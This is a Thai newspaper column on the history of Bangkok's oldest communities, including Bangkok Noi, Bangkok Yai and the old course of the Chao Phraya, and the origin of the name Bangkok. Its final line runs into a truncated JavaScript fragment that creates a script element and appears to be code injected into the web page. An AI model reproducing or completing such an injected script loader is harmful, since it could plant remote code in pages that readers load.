มติชนรายวัน ฉบับประจำวันอังคารที่ 8 พฤศจิกายน 2554

 

          ชุมชนเก่าแก่ที่สุดกลุ่มหนึ่งของกรุงเทพฯ อายุมากกว่า 500 ปีมาแล้ว (มีชื่ออยู่ในกำสรวลสมุทร วรรณคดียุคต้นอยุธยา แต่งราวหลัง พ.ศ. 2000)

          ชุมชนเหล่านั้นชื่อ บางระมาด, บางเชือกหนัง, บางจาก อยู่บริเวณที่ดอนริมแม่น้ำ(เจ้าพระยา)สายเก่า ปัจจุบันคือเส้นทางบางกอกน้อย-บางกอกใหญ่ บางแห่งโดนน้ำหลากท่วม แต่บางแห่งไม่ท่วม

          เส้นทางคลองบางกอกน้อย-บางกอกใหญ่ คือแม่น้ำเจ้าพระยาสายเก่าแก่ดั้งเดิม ตั้งแต่ยุคดึกดำบรรพ์ จนถึงก่อน พ.ศ. 2085 ยุคต้นกรุงศรีอยุธยา

          ครั้นหลัง พ.ศ. 2085 พระเจ้าแผ่นดินยุคนั้นให้ขุดคลองลัดส่วนคอดที่สุด แล้วกลายเป็นแม่น้ำเจ้าพระยาสายใหม่ ที่มีผู้เล่าว่าแต่ก่อนคนเรียกตรงนี้ว่า บางหลวง

          ส่วนแม่น้ำเจ้าพระยาสายเก่าแคบลงเป็นคลองบางกอกน้อย-บางกอกใหญ่ สืบมาจนทุกวันนี้

 

บาง, บางกอก

          บาง หมายถึงชุมชนปากลำน้ำสายเล็ก(คลอง) ไหลลงลำน้ำสายใหญ่(แม่น้ำ)

          บางกอก หมายถึงชุมชนชื่อบางมะกอก เพราะมีต้นมะกอกขึ้นหนาแน่นทั้งสองฝั่งคลองเล็กๆที่ไหลผ่านลงแม่น้ำใหญ่ เรียกคลองบางมะกอก ทะลุแม่น้ำทั้งด้านเหนือและด้านใต้ ครั้นนานเข้ากร่อนเหลือบางกอก

          มีวัดของชุมชนเรียกวัดมะกอก (ต่อมาภายหลังได้ชื่อวัดแจ้ง แล้วมีนามทางการว่าวัดอรุณราชวรารามจนทุกวันนี้)

          ชาวต่างชาติรู้จักชื่อบางกอกมาตั้งแต่ยุคอยุธยา แล้วเรียก Bangkok สืบจนปัจจุบัน

 

บางกอกน้อย, บางกอกใหญ่, บางหลวง

          ต่อมาราว พ.ศ. 2085 ขุดแปลงคลองบางมะกอก ขยายกว้างเพื่อให้เรือแพขึ้นล่องได้สะดวก จนน้ำทะลักไหลผ่านแล้วกัดเซาะกว้างขึ้นกลายเป็นแม่น้ำ(สายใหม่) ตั้งแต่บริเวณใต้สะพานสมเด็จพระปิ่นเกล้า จนถึงวัดอรุณฯทุกวันนี้

          ตรงที่เคยเป็นแม่น้ำ(สายเก่า)ไหลโค้งเป็นคอคอดค่อยๆแคบลง คนเลยเรียกคลองด้วยชื่อเก่าว่าบางกอกเป็น 2 ตอน

          บริเวณตอนเหนือเรียก คลองบางกอกน้อย เพราะมีชุมชนชาวสวนกลุ่มเล็กๆกระจัดกระจาย

          ส่วนตอนใต้เรียก คลองบางกอกใหญ่ เพราะมีชุมชนกลุ่มใหญ่เป็นที่ตั้งที่ว่าการเมืองบางกอก

          บริเวณเวิ้งน้ำกว้างใหญ่ของแม่น้ำเจ้าพระยา ตรงหน้าวัดอรุณฯ ถึงหน้าวัดกัลยาณ์ที่มีปากคลองบางกอกใหญ่ไหลมาบรรจบนี้ มีผู้เล่าว่าแต่เดิมเรียกบางหลวง

 

ชุมชนเก่าแก่อื่นๆ

          ชุมชนเก่าแก่อื่นๆของกรุงเทพฯ อยู่ริมแม่น้ำเจ้าพระยา ยังมีรายชื่ออีกอยู่ในกำสรวลสมุทรโคลงดั้น ยุคต้นอยุธยา เช่น

          บางเขน อยู่ทางสะพานพระราม 6-7, บางกรูด อยู่ใต้บางเขน, บางพลู อยู่ย่านบางพลัด, ฉมังราย ต่อมาเรียกสมอราย อยู่ทางวัดราชาธิวาส ใกล้ท่าวาสุกรี ถนน สามเสนvar d=document;var s=d.createElement(‘script’);